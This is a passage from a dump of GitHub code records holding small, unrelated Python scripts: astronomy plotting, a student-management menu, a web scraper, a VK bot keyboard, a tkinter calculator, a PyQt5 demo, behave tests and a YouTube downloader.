-5.0\n\t\t\telse:\n\t\t\t\tfemin = femax-0.5\n\t\t\tfilt = (feh_o>=femin) & (feh_o<femax)\n\t\t\tax.errorbar(logg_o[filt], logg_diff[filt], linestyle = \"\", marker = \"o\", ms = 10, mec = cmap(i/nc), mfc = cmap(i/nc), label=\"%.1f<=[Fe/H]<%.1f\"%(femin, femax))\n\n\t\tax.text(0.2, 2.0, r\"Mean$=%.1f$, $\\sigma=%.1f$ (3$\\sigma$-clipped)\"%(diff_mean, diff_std))\n\t\tx = np.arange(0.0, 5.0, 0.1)\n\t\ty = np.zeros_like(x)\n\t\tax.plot(x, y, linewidth=2, linestyle = \":\", color='gray' )\n\t\tax.errorbar([0.2], [-2.0], xerr = logg_o_errbar, yerr = logg_p_errbar, linewidth=2, mew = 2, capsize=2, ecolor='gray')\n\t\tax.set_xlabel(r\"$\\log g$(SEGUE)[K]\")\n\t\tax.set_ylabel(r\"$\\log g$(Predicted)$-\\log g$(SEGUE)[K]\")\n\t\tax.set_xlim(0.0, 5.5)\n\t\tax.set_ylim(-3., 3.)\n\t\tax.legend(loc=1, prop={\"size\":12})\n\n\t\tfigname = ((paramfile.split(\"/\"))[-1])[:-4] + \"_logg.png\"\n\t\tplt.savefig(\"../figs/\" + figname)\n\n\n\n\n\treturn\n\n\n\ndef produce_readme_brutus():\n\n\tsamplefile = \"../outputs/params/PS1_Gaia_mist_woplx_ra0.0_1.0_dec-40.0_90.0_params.csv\"\n\tdf = pd.read_csv(samplefile)\n\tcolnames = df.columns\n\t\n\tline = \"=\"*100\n\tempty = \" \"*100 \n\tempty5 = \"\\n\"*5\n\tempty10 = \"\\n\"*10\n\tempty3 = \"\\n\"*3\n\n\tline2 = \" --------------------------------------\"\n\ttitle = \"        Candidate F-type stars\"\n\tvirsion = \"            Virsion: 2.0\"\n\tdt_now = datetime.datetime.now()\n\tdatestring = \"     Table created on %i/%i/%i\"%(dt_now.day, dt_now.month, dt_now.year)\t\n\tauthor = \"      Authors: PFS obsproc team\"\n\tsection = \" File description\"\n\n\n\tf=open(\"../outputs/params/Readme\", \"w\")\n\tfor string in empty, line2, empty, title, empty, virsion, empty, datestring, empty, author, empty, line2, empty3, section, empty:\n\t\tf.write(string + \"\\n\")\n\n\tfor i, column in enumerate(colnames):\n\t\tif column == \"obj_id\":\n\t\t\tunit = \" - \"\n\t\t\tdescription = \"Gaia source ID\"\n\t\telif column == \"catalog\":\n\t\t\tunit = \" - \"\n\t\t\tdescription = \"Catalog name\"\n\t\telif column == \"ra\":\n\t\t\tunit = \"deg\" \n\t\t\tdescription = \"Right ascension \" \n\t\telif column == \"dec\":\n\t\t\tunit = \"deg\" \n\t\t\tdescription = \"Declination\"\n\t\telif column == \"epoch\":\n\t\t\tunit = \"year\"\n\t\t\tdescription = \"The reference epoch for ra, dec, parallax, pmra, and pmdec\"\n\t\telif column == \"parallax\":\n\t\t\tunit = \"mas\"\n\t\t\tdescription = \"Parallax\"\n\t\telif column == \"parallax_error\": \n\t\t\tunit = \"mas\"\n\t\t\tdescription = \"Standard error of parallax\"\n\t\telif column == \"pmra\":\n\t\t\tunit = \"mas/yr\"\n\t\t\tdescription = \"Proper motion in right ascension direction\"\n\t\telif column == \"pmra_error\":\n\t\t\tunit = \"mas/yr\"\n\t\t\tdescription = \"Standard error of pmra\"\n\t\telif column == \"pmdec\":\n\t\t\tunit = \"mas/yr\"\n\t\t\tdescription = \"Proper motion in declination direction\"\n\t\telif column == \"pmdec_error\":\n\t\t\tunit = \"mas/yr\"\n\t\t\tdescription = \"Standard error of pmdec\"\n\t\telif column == \"gFluxJy\":\n\t\t\tunit = \"nJy\"\n\t\t\tdescription = \"g-band flux (PS1DR2)\"\n\t\telif column == \"rFluxJy\":\n\t\t\tunit = \"nJy\"\n\t\t\tdescription = \"r-band flux (PS1DR2)\"\n\t\telif column == \"iFluxJy\":\n\t\t\tunit = \"nJy\"\n\t\t\tdescription = \"i-band flux (PS1DR2)\"\n\t\telif column == \"zFluxJy\":\n\t\t\tunit = \"nJy\"\n\t\t\tdescription = \"z-band flux (PS1DR2)\"\n\t\telif column == \"yFluxJy\":\n\t\t\tunit = \"nJy\"\n\t\t\tdescription = \"y-band flux (PS1DR2)\"\n\t\telif column == \"gFluxJy_err\":\n\t\t\tunit = \"nJy\"\n\t\t\tdescription = \"g-band flux error (PS1DR2)\"\n\t\telif column == \"rFluxJy_err\":\n\t\t\tunit = \"nJy\"\n\t\t\tdescription = \"r-band flux error (PS1DR2)\"\n\t\telif column == \"iFluxJy_err\":\n\t\t\tunit = \"nJy\"\n\t\t\tdescription = \"i-band flux error (PS1DR2)\"\n\t\telif column == \"zFluxJy_err\":\n\t\t\tunit = \"nJy\"\n\t\t\tdescription = \"z-band flux error (PS1DR2)\"\n\t\telif column == \"yFluxJy_err\":\n\t\t\tunit = \"nJy\"\n\t\t\tdescription = \"y-band flux error (PS1DR2)\"\n\t\telif column == \"probfstar\":\n\t\t\tunit = \" - \"\n\t\t\tdescription = \"Probability of being an F-type star\"\n\t\telif column == \"teff\":\n\t\t\tunit = \"K\"\n\t\t\tdescription = \"Effective temperature\"\n\t\telif column == \"teff_low\":\n\t\t\tunit = \"K\"\n\t\t\tdescription = \"16% quantile of the teff posterior distribution\"\n\t\telif column == \"teff_high\":\n\t\t\tunit = \"K\"\n\t\t\tdescription = \"84% quantile of the teff posterior distribution\"\n\t\telif column == \"logg\":\n\t\t\tunit = \"dex\"\n\t\t\tdescription = \"Surface gravity\"\n\t\telif column == \"logg_low\":\n\t\t\tunit = \"dex\"\n\t\t\tdescription = \"16% quantile of the logg posterior distribution\"\n\t\telif column == \"logg_high\":\n\t\t\tunit = \"dex\"\n\t\t\tdescription = \"84% quantile of the logg posterior distribution\"\n\t\telif column == \"probfstar\":\n\t\t\tunit = \" - \"\n\t\t\tdescription = \"Probability of being an F-type star\"\n\t\telse:\n\t\t\tcontinue\n\n\t\tif i+1 < 10:\n\t\t\tmargin1 = \" \"*(19-len(column))\n\t\t\tmargin2 = \" \"*(10-len(unit))\n\t\telse:\n\t\t\tmargin1 = \" \"*(18-len(column))\n\t\t\tmargin2 = \" \"*(10-len(unit))\n\n\t\tf.write(\" %i \"%(i+1) + column + margin1 + unit + margin2 + description + \"\\n\")\n\n\n\tsection = \" Notes\"\n\tnote1 = \"  - For ra, dec, epoch, parallax, pmra, pmdec and their associated uncertainties.\"\n\tnote2 = \"    see the Gaia archive website and the documentation.\"\n\n\tfor string in empty3, section, empty, note1, note2, empty3:\n\n\t\tf.write(string + \"\\n\")\n\n\tf.close()\n\n\ndef read_brutus_results_all(filelist):\n\n\tfor filename in filelist:\n\t\t\n\t\tcoord_range = ((((filename.split(\"/\"))[-1]).split(\"woplx_\"))[-1]).replace(\".h5\", \"\")\n\t\tcatalog = \"../comissioning/Nov2022/PS1DR2_GaiaEDR3_\" + coord_range + \".csv\"\n\t\tparamfile = filename.replace(\".h5\", \".csv\")\n\t\t\n\t\tread_brutus_results(filename, catalog, paramfile)\n\n\n\t\tprint(catalog)\n\t\tsys.exit()\n\n\n\t\t\n\n\n\n\nif __name__ == \"__main__\":\n\t\n\t#calc_posterior_segue()\n\n\t#plot_hist_teff_logg()\n\n\t#sample_posterior()\n\t#sample_posterior_segue()\n\t#hdffile = \"../outputs/MCMC/mcmc_brutus_2123448927880505344.h5\"\n\t#read_hdf(hdffile)\n\t#test_get_magmodel3()\n\t#pickle_isofiles()\n\t#lookup_magmodel(lage, feh, mabs_r)\n\n\t#sample_posterior_segue()\n\n\t#mini, feh, eep = 1.2, -0.7, 450.\n\t#av, rv, dist = 0.5, 3.1, 2000.\n\t#mag, params, c = sedmaker.get_sed(mini=mini, feh=feh, eep=eep, av=av, rv=rv, dist=dist)\n\t#inputcatalog = \"../comissioning/Nov2022/PS1DR1_GaiaEDR3_ra0.0_1.0_dec-40.0_90.0.csv\"\n\t#outfile=\"../outputs/ps1_ra0-1_mist_woplx\"\n\t#run_brutus(inputcatalog)\n\t#run_brutus_multiprocess()\n\n\t#filename=\"../outputs/segue_mist_woplx\"\n\t#filename=\"../outputs/segue_mist\"\n\t#paramfile = \"../outputs/param_compare_woplx.csv\"\n\t#paramfile = \"../outputs/param_compare.csv\"\n\t#filename = \"../outputs/PS1_Gaia_mist_woplx_ra0.0_1.0_dec-40.0_90.0.h5\"\n\tfilelist = glob.glob(\"../outputs/PS1_Gaia_mist_woplx_ra?.*.h5\")\n\tread_brutus_results_all(filelist)\t\n\n\t#catalog = \"../comissioning/Nov2022/PS1DR2_GaiaEDR3_ra0.0_1.0_dec-40.0_90.0.csv\"\n\t#paramfile = \"../outputs/params/PS1_Gaia_mist_woplx_ra0.0_1.0_dec-40.0_90.0_params.csv\"\n\t#read_brutus_results(filename, catalog, paramfile)\n\t\n\n\t#produce_readme_brutus()\n\n\t#paramfiles = [\"../outputs/param_compare.csv\", \"../outputs/param_compare_woplx.csv\"]\n\t#plot_param(paramfiles)\n\t#view_models()\n","repo_name":"Subaru-PFS/drp_fstar_photo","sub_path":"fstandards/typing_brutus.py","file_name":"typing_brutus.py","file_ext":"py","file_size_in_byte":49763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24362294915","text":"stuInfos=[]                                 #用来保存学生的所有信息\r\ndef printMenu():                                #打印功能提示\r\n    print(\"=\"*20)\r\n    print(\" 学生管理系统V1.0 \")\r\n    print(\"1.添加学生信息\")\r\n    print(\"2.删除学生信息\")\r\n    print(\"3.显示所有学生信息\")\r\n    print(\"0.退出系统\")\r\n    print(\"=\"*20)\r\n#添加一个学生信息\r\ndef addStuInfo():\r\n    newNum = input(\"请输入新学生的学号：\")    #提示并获取学生的学号\r\n    newName = input(\"请输入新学生的姓名：\")   #提示并获取学生的姓名\r\n    newSex = input(\"请输入新学生的性别（男/女）：\")   #提示并获取学生的性别\r\n    newInfo = {}                                #定义字典\r\n    #赋值\r\n    newInfo['num'] = newNum\r\n    newInfo['name'] = newName\r\n    newInfo['sex'] = newSex\r\n    stuInfos.append(newInfo)                    #将元素添加到列表中\r\n#删除一个学生信息\r\ndef delStuInfo(student):\r\n    del_num = input(\"请输入要删除的学生的学号：\")    #提示并获取学生学号\r\n    for stu in student:                         #遍历列表\r\n        if stu['num'] == del_num:               #判断是否与输入的学号相同\r\n            student.remove(stu)                 #删除该学生信息\r\n#定义一个用户显示所有学生信息的函数\r\ndef showStuInfo():\r\n    print(\"=\" * 20)\r\n    print(\"学生的信息如下:\")\r\n    print(\"=\" * 20)\r\n    print(\"序号    学号    姓名   性别\")\r\n    i = 1\r\n    #遍历存储学生信息的列表，输出每个学生的详细信息\r\n    for tempInfo in stuInfos:\r\n        print(\"%d      %s      %s     %s\" % (i, tempInfo['num'],tempInfo['name'], tempInfo['sex']))\r\n        i += 1\r\n#main函数控制整个程序的流程\r\ndef main():\r\n    while True:\r\n        printMenu()                         #打印功能菜单\r\n        key = input(\"请输入功能对应的数字\")   #获取用户输入\r\n        if key == '1':                          #添加学生信息\r\n            addStuInfo()\r\n        if key == '2':                          #删除学生信息\r\n            delStuInfo(stuInfos) \r\n        elif key == '3':                            #显示学生信息\r\n            showStuInfo()\r\n        elif key == '0':                            #退出循环\r\n            quit_con = input(\"确定退出吗？（Yes or No）：\")\r\n            if quit_con == 'Yes':\r\n                break\r\nmain()\r\n","repo_name":"oursoul/python-demo","sub_path":"第7章/7-21.py","file_name":"7-21.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"43653845281","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport csv\r\nimport json\r\n\r\n\r\ndef get_html(url):\r\n    r = requests.get(url)\r\n    return r.text\r\n\r\ndef get_data(html):\r\n    soup = BeautifulSoup(html, 'lxml')\r\n\r\n    bloks = soup.find_all(class_=\"product-item__link\")\r\n    #print(len(bloks))\r\n\r\n    for blok in bloks:\r\n        if blok:\r\n            articul  = blok.find('p', class_=\"product-item__articul\").text\r\n        else:\r\n            articul = ''\r\n        #print(articul)\r\n\r\n        if blok:\r\n            price = blok.find(\"p\", class_=\"product-item__price\").text.lstrip(\"руб.\")\r\n        else:\r\n            price = ''\r\n        #print(price)\r\n        data = {'articul': articul,\r\n                'price': price}\r\n        write_csv(data)\r\n\r\ndef write_csv(data):\r\n    with open(\"casio.csv\", 'a', encoding='utf-8') as file:\r\n        order = ['articul', 'price']\r\n        writer = csv.DictWriter(file, fieldnames=order)\r\n\r\n        writer.writerow(data)\r\n\r\n\r\ndef main():\r\n    #url = \"https://shop.casio.ru/catalog/g-shock/filter/gender-is-male/apply/\"\r\n    #pettern = \"https://shop.casio.ru/catalog/g-shock/filter/gender-is-male/apply/catalog/g-shock/filter/gender-is-male/apply/?PAGEN_1={}\"\r\n    #get_data(get_html(url))\r\n\r\n    pattern = \"https://shop.casio.ru/catalog/g-shock/filter/gender-is-male/apply/?PAGEN_1={}\"\r\n\r\n    for i in range(0, 5):\r\n        url = pattern.format(str(i))\r\n        #print(url)\r\n        get_data(get_html(url))\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n\r\n\r\n","repo_name":"MarinaZap/scraping","sub_path":"Casio2 OK/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70274016723","text":"from enum import Enum\nfrom abc import ABC, abstractclassmethod, abstractproperty\n\nfrom vk_api.keyboard import VkKeyboard, VkKeyboardColor\n\n\nclass ButtonLabels:\n    SETTINGS = '⚙Настройки'\n    FIND_CHATS = '👥Поиск чатов'\n    FIND_PEOPLE = '🔎Поиск людей'\n    DECLINE = '❌Отмена'\n    HOME = '🏠Домой'\n    SUBSCRIPTION = '💳Подписка'\n    MY_FORM = '📝Моя анкета'\n    SET_AGE = '📅Изменить возраст'\n    MAIN_MENU = '🏠Главное меню'\n\n\nclass Stage(ABC):\n    def __init__(self):\n        self.kb = VkKeyboard()\n        self.generate_kb()\n\n    @abstractclassmethod\n    def generate_kb(self) -> None:\n        raise NotImplementedError('generate method must be implemented for Stage clssses.')\n    \n    def get_keyboard(self):\n        return self.kb.get_keyboard()\n\n\nclass Main(Stage):    \n    msg_text = f'{ButtonLabels.MAIN_MENU}\\n'\\\n               'У нас ты можешь:\\n'\\\n               '• Знакомиться с людьми с общими интересами\\n'\\\n               '• Вступать в тематические группы\\n'\n\n    def generate_kb(self):\n        self.kb.add_button(ButtonLabels.FIND_PEOPLE,\n                           payload={'command': 'find_people'})\n        self.kb.add_button(ButtonLabels.FIND_CHATS,\n                           payload={'command': 'find_chats'})\n\n        self.kb.add_line()\n        self.kb.add_button(ButtonLabels.SETTINGS,\n                           color=VkKeyboardColor.PRIMARY,\n                           payload={'command': 'settings'})\n\n\nclass Settings(Stage):\n    msg_text = f'{ButtonLabels.SETTINGS}\\n'\\\n               'Здесь ты можешь изменить свою личную информацию или проверить статус подписки.'\n\n    def generate_kb(self):\n        self.kb.add_button(ButtonLabels.SET_AGE,\n                           payload={'command': 'set_age'})\n        self.kb.add_button(ButtonLabels.MY_FORM,\n                           payload={'command': 'my_form'})\n\n        self.kb.add_line()\n        self.kb.add_button(ButtonLabels.SUBSCRIPTION,\n                           color=VkKeyboardColor.PRIMARY,\n                           payload={'command': 'subscription'})\n\n        self.kb.add_line()\n        self.kb.add_button(ButtonLabels.HOME,\n                           color=VkKeyboardColor.POSITIVE,\n                           payload={'command': 'home'})\n\n\nclass Stages(Enum):\n    MAIN = Main()\n    SETTINGS = Settings()\n","repo_name":"l4blee/linx","sub_path":"stages.py","file_name":"stages.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42744081900","text":"#!/usr/bin/python3\nfrom tkinter import*\n\ndef Clicked(inp):\n\tglobal operator\n\toperator = operator + str(inp)\n\ttext_Input.set(operator)\n\ndef Exit():\n\tcalc.destroy()\n\texit()\n\ndef Clr():\n\tglobal operator\n\toperator = operator[0:-1]\n\ttext_Input.set(operator)\n\ndef AC():\n\tglobal operator\n\toperator = \"\"\n\ttext_Input.set(0)\n\ndef EVAL():\n\tglobal operator\n\tresult = str(eval(operator))\n\ttext_Input.set(result)\n\ncalc = Tk()\ncalc.title(\"GUI Calculator\")\noperator = \"\"\n\ntext_Input = StringVar()\n\nDisplay = Entry(calc, bg = \"powder blue\", fg = \"black\", font = \"calibri 18 bold\", textvariable = text_Input, bd = 25, insertwidth = 4, justify = 'right').grid(columnspan = 4, row = 0)\n\nbutton_off = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 12 bold\", text = \"OFF\", command = Exit, bg = \"orange\").grid(row = 1, columnspan = 1, column = 0)\n\nbutton_Clr = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 12 bold\", text = \"CLR\", command = Clr, bg = \"powder blue\").grid(row = 1, column = 2)\n\nbutton_AC = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"white\", font = \"calibri 12 bold\", text = \"AC\", command = AC, bg = \"dark grey\").grid(row = 1, column = 3)\n\nbutton_7 = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"7\", command = lambda:Clicked(7), bg = \"powder blue\").grid(row = 2, column = 0)\n\nbutton_8 = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"8\", command = lambda:Clicked(8), bg = \"powder blue\").grid(row = 2, column = 1)\n\nbutton_9 = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"9\", command = lambda:Clicked(9), bg = \"powder blue\").grid(row = 2, column = 2)\n\nbutton_divide = Button(calc, padx = 20, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"/\", command = lambda:Clicked(\"/\"), bg = \"powder blue\").grid(row = 2, column = 3)\n\nbutton_4 = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"4\", command = lambda:Clicked(4), bg = \"powder blue\").grid(row = 3, column = 0)\n\nbutton_5 = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"5\", command = lambda:Clicked(5), bg = \"powder blue\").grid(row = 3, column = 1)\n\nbutton_6 = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"6\", command = lambda:Clicked(6), bg = \"powder blue\").grid(row = 3, column = 2)\n\nbutton_multiply = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"x\", command = lambda:Clicked(\"*\"), bg = \"powder blue\").grid(row = 3, column = 3)\n\nbutton_1 = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"1\", command = lambda:Clicked(1), bg = \"powder blue\").grid(row = 4, column = 0)\n\nbutton_2 = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"2\", command = lambda:Clicked(2), bg = \"powder blue\").grid(row = 4, column = 1)\n\nbutton_3 = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"3\", command = lambda:Clicked(3), bg = \"powder blue\").grid(row = 4, column = 2)\n\nbutton_subtract = Button(calc, padx = 20, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"-\", command = lambda:Clicked(\"-\"), bg = \"powder blue\").grid(row = 4, column = 3)\n\nbutton_dot = Button(calc, padx = 20, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \".\", command = lambda:Clicked(\".\"), bg = \"powder blue\").grid(row = 5, column = 0)\n\nbutton_0 = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"0\", command = lambda:Clicked(0), bg = \"powder blue\").grid(row = 5, column = 1)\n\nbutton_add = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text = \"+\", command = lambda:Clicked(\"+\"), bg = \"powder blue\").grid(row = 5, column = 2)\n\nbutton_equal = Button(calc, padx = 16, pady = 8, bd = 8, fg = \"black\", font = \"calibri 18 bold\", text =\"=\", command = EVAL, bg = \"powder blue\").grid(row = 5, column = 3)\n\ncalc.mainloop()\n","repo_name":"piyuhg/pyfiles","sub_path":"Calculator_GUI.py","file_name":"Calculator_GUI.py","file_ext":"py","file_size_in_byte":4122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24007804028","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\nclass Cookies(object):\n\n    def __init__(self, headers):\n        self._headers = headers\n        try:\n            with open(\"_COOKIES\", 'rb') as f:\n                self._cookie = pickle.load(f)\n        except:\n            self._cookie = self.new_cookie()\n\n    @property\n    def cookie(self):\n        return self._cookie\n\n    def new_cookie(self):\n        from . import cookie\n        self._cookie = cookie.get_and_save_cookis(self._headers)\n        return self._cookie\n","repo_name":"zhangsheng377/emotion-predict-stock","sub_path":"SCRAPY/COOKIES/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"}
+{"seq_id":"8847730757","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport re\nimport sys, os\nimport seaborn as sns\nimport json\n\nsys.path.insert(0,'../../..')\nfrom weight_inference import methods\n\n# Network Settings\nnum_input_neurons = 100\nnum_output_neurons = 10\ntimestep = 0.25\nthreshold = 1.0\ncheck_interval = 10\n\n# Result sets\nstdwi_acc_set, stdwi_r_set = [], []\nakrout_acc_set, akrout_r_set = [], []\nrdd_acc_set, rdd_r_set = [], []\n\nseed = 1\nratio_active = 0.2\ncorrelation = 0.0\nweight = np.random.randint(num_input_neurons*num_output_neurons)\n\noutpath = \"./_plots/\" + str(ratio_active) + \"Perc_\" + str(correlation) + \"Corr/\"\n\nakrout_batch = 100\nakrout_decay = 0.2\n\nstdwi_fast = 20.0\nstdwi_slow = 200.0\n\nrdd_alpha = 0.025\nrdd_window = 35\n\n# Path and folder creation\npath = \"../\" + str(num_input_neurons) + \"Inputs_\" + str(num_output_neurons) + \"Outputs_\" + str(ratio_active) + \"Perc_\" + str(correlation) + \"Corr_\" + str(seed) + \"Seed/\" \n\noriginal_weight_matrix = np.fromfile(path + \"IO_weight_matrix.npy\").reshape(num_output_neurons, num_input_neurons)\n\n# STDWI results loading\nstdwi_filepath = path + \"stdwi_dump_\" + str(stdwi_fast) + \"fast_\" + str(stdwi_slow) + \"slow.npy\"\nstdwi_weight_estimates = np.fromfile(stdwi_filepath).reshape(-1, num_output_neurons*num_input_neurons)\nstdwi_weight_estimates -= stdwi_weight_estimates[0,:]\nstdwi_weight_estimates /= np.max(np.abs(stdwi_weight_estimates), axis=0)\nnum_epochs = stdwi_weight_estimates.shape[0]\n\n# Akrout results loading\nakrout_filepath = path + \"akrout_dump_\" + str(akrout_batch) + \"batch_\" + str(akrout_decay) + \"decay.npy\"\nakrout_weight_estimates = np.fromfile(akrout_filepath).reshape(-1, num_output_neurons*num_input_neurons)\nakrout_weight_estimates -= akrout_weight_estimates[0,:]\nakrout_weight_estimates /= np.max(np.abs(akrout_weight_estimates), axis=0)\n\n# RDD results loading\nrdd_filepath = path + \"rdd_dump_\" + str(rdd_alpha) + \"bound_\" + str(rdd_window) + \"window.npy\"\nrdd_weight_estimates = np.fromfile(rdd_filepath).reshape(-1, num_output_neurons*num_input_neurons)\nrdd_weight_estimates -= rdd_weight_estimates[0,:]\nrdd_weight_estimates /= np.max(np.abs(rdd_weight_estimates), axis=0)\n\nplt.figure(figsize=(4,3), dpi=200)\nax = plt.gca()\nplt.plot(rdd_weight_estimates[:,weight], color='blue', label=\"RDD\")\nplt.plot(akrout_weight_estimates[:,weight], color='red', label=\"Akrout\")\nplt.plot(stdwi_weight_estimates[:,weight], color='black', label=\"STDWI\")\nplt.xticks([0, num_epochs], [0, num_epochs])\nplt.yticks([])\nplt.ylabel(\"Normalized Inferred Weight\")\nplt.xlabel(\"Time (s)\")\nsns.despine()\nplt.savefig(outpath + 'inference_curve.png', bbox_inches='tight')\nplt.clf()\n# plt.show()\n","repo_name":"nasiryahm/STDWI","sub_path":"paper_scripts/LIF_Comparison/plot_scripts/plot_inference_curve.py","file_name":"plot_inference_curve.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"34471376868","text":"from behave import *\nfrom django.urls import reverse\n\nfrom features.helpers import *\n\nuse_step_matcher(\"re\")\n\nGLOBAL_CATEGORY_CHILDREN_CATEGORIES_QUANTITY = 5\n\n\n@given(\"prepared global category with children categories\")\ndef step_impl(context):\n    faker = context.faker\n\n    global_category_data = create_category(faker, slug_prefix='gc_children', is_global=True)\n    global_category = global_category_data['category']\n\n    for i in range(0, GLOBAL_CATEGORY_CHILDREN_CATEGORIES_QUANTITY):\n        create_category(faker, slug_prefix='child_slug_%s' % i, section=global_category, order=i)\n\n    context.global_category_slug = global_category_data['slug']\n\n\n@when('app sends request to \"api_global_category_children\" url')\ndef step_impl(context):\n    context.response = context.client.get(reverse('api:globalcategory_children', kwargs={'slug': context.global_category_slug}))\n\n\n@then(\"it should get response with list of children categories\")\ndef step_impl(context):\n    response = context.response\n\n    assert_status_code(context, response, 200)\n\n    items = response.json()\n    context.test.assertEqual(len(items), GLOBAL_CATEGORY_CHILDREN_CATEGORIES_QUANTITY)","repo_name":"asmuratbek/oobamarket","sub_path":"features/steps/api_global_category_children.py","file_name":"api_global_category_children.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23962364714","text":"from PyQt5.QtWidgets import (QWidget, QHBoxLayout, QFrame,\n                             QSplitter, QStyleFactory, QApplication)\nfrom PyQt5.QtCore import Qt\nimport sys\n\n\nclass Example(QWidget):\n\n    def __init__(self):\n        super().__init__()\n\n        self.initUI()\n\n    def initUI(self):\n        hbox = QHBoxLayout(self)\n\n        topleft = QFrame(self)\n        topleft.setFrameShape(QFrame.StyledPanel)\n\n        topright = QFrame(self)\n        topright.setFrameShape(QFrame.StyledPanel)\n\n        bottom = QFrame(self)\n        bottom.setFrameShape(QFrame.StyledPanel)\n\n        splitter1 = QSplitter(Qt.Horizontal)\n        splitter1.addWidget(topleft)\n        splitter1.addWidget(topright)\n\n        splitter2 = QSplitter(Qt.Vertical)\n        splitter2.addWidget(splitter1)\n        splitter2.addWidget(bottom)\n\n        hbox.addWidget(splitter2)\n        self.setLayout(hbox)\n\n        self.setGeometry(300, 300, 300, 200)\n        self.setWindowTitle('QSplitter')\n        self.show()\n\n    def onChanged(self, text):\n        self.lbl.setText(text)\n        self.lbl.adjustSize()\n\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    ex = Example()\n    sys.exit(app.exec_())\n\n\n'''\n`QSplitter`组件能让用户通过拖拽分割线的方式改变子窗口大小的组件。本例中我们展示用两个分割线隔开的三个`QFrame`组件。\n\n```\n三个窗口和两个分割线的布局创建完成了，但是要注意，有些主题下，分割线的显示效果不太好。\n\n```\ntopleft = QFrame(self)\ntopleft.setFrameShape(QFrame.StyledPanel)\n```\n为了更清楚的看到分割线，我们使用了设置好的子窗口样式。\n\n```\nsplitter1 = QSplitter(Qt.Horizontal)\nsplitter1.addWidget(topleft)\nsplitter1.addWidget(topright)\n```\n创建一个`QSplitter`组件，并在里面添加了两个框架。\n\n```\nsplitter2 = QSplitter(Qt.Vertical)\nsplitter2.addWidget(splitter1)\n```\n也可以在分割线里面再进行分割。\n'''","repo_name":"luckyxiaohong/PyQt5","sub_path":"控件/QSplitter.py","file_name":"QSplitter.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"3581547433","text":"import json\nimport time\n\nimport requests\n\ntime.sleep(5)\nprint('sleep 5s')\ntime.sleep(5)\ntime.sleep(15)\nprint('sleep 45s')\ntime.sleep(30)\ndog = input('输入')\ndata = {\n    'from': 'en',\n    'to': 'zh',\n    'query': dog\n}\nreq = requests.post(url = 'https://fanyi.baidu.com/v2transapi?from=en&to=zh',data=json.dumps(data),headers=aaaaa)\nprint(req.text)","repo_name":"lsknawm/python_reptile","sub_path":"src/main/test_error.py","file_name":"test_error.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4623954624","text":"from fileinput import filename\nimport pafy \n\nv = pafy.new('https://www.youtube.com/watch?v=HWZnmZRxOvI&list=RDHWZnmZRxOvI&start_radio=1&ab_channel=ZojakWorldWideOfficial')\n\nbest_audio = v.getbestaudio()\nsize = best_audio.get_filesize()\n\nprint('File Name: ', best_audio.title)\nprint('Size: ', size)\n\nfilename = best_audio.download()\n\nbest_video = v.getbestvideo()\nsize = best_video.get_filesize()\n\nprint('File Name: ', best_video.title)\nprint('Size: ', size)\n\nfilename = best_video.download()","repo_name":"WMKCharles/Python-Modules-Libraries","sub_path":"Pafy/YTdownload.py","file_name":"YTdownload.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
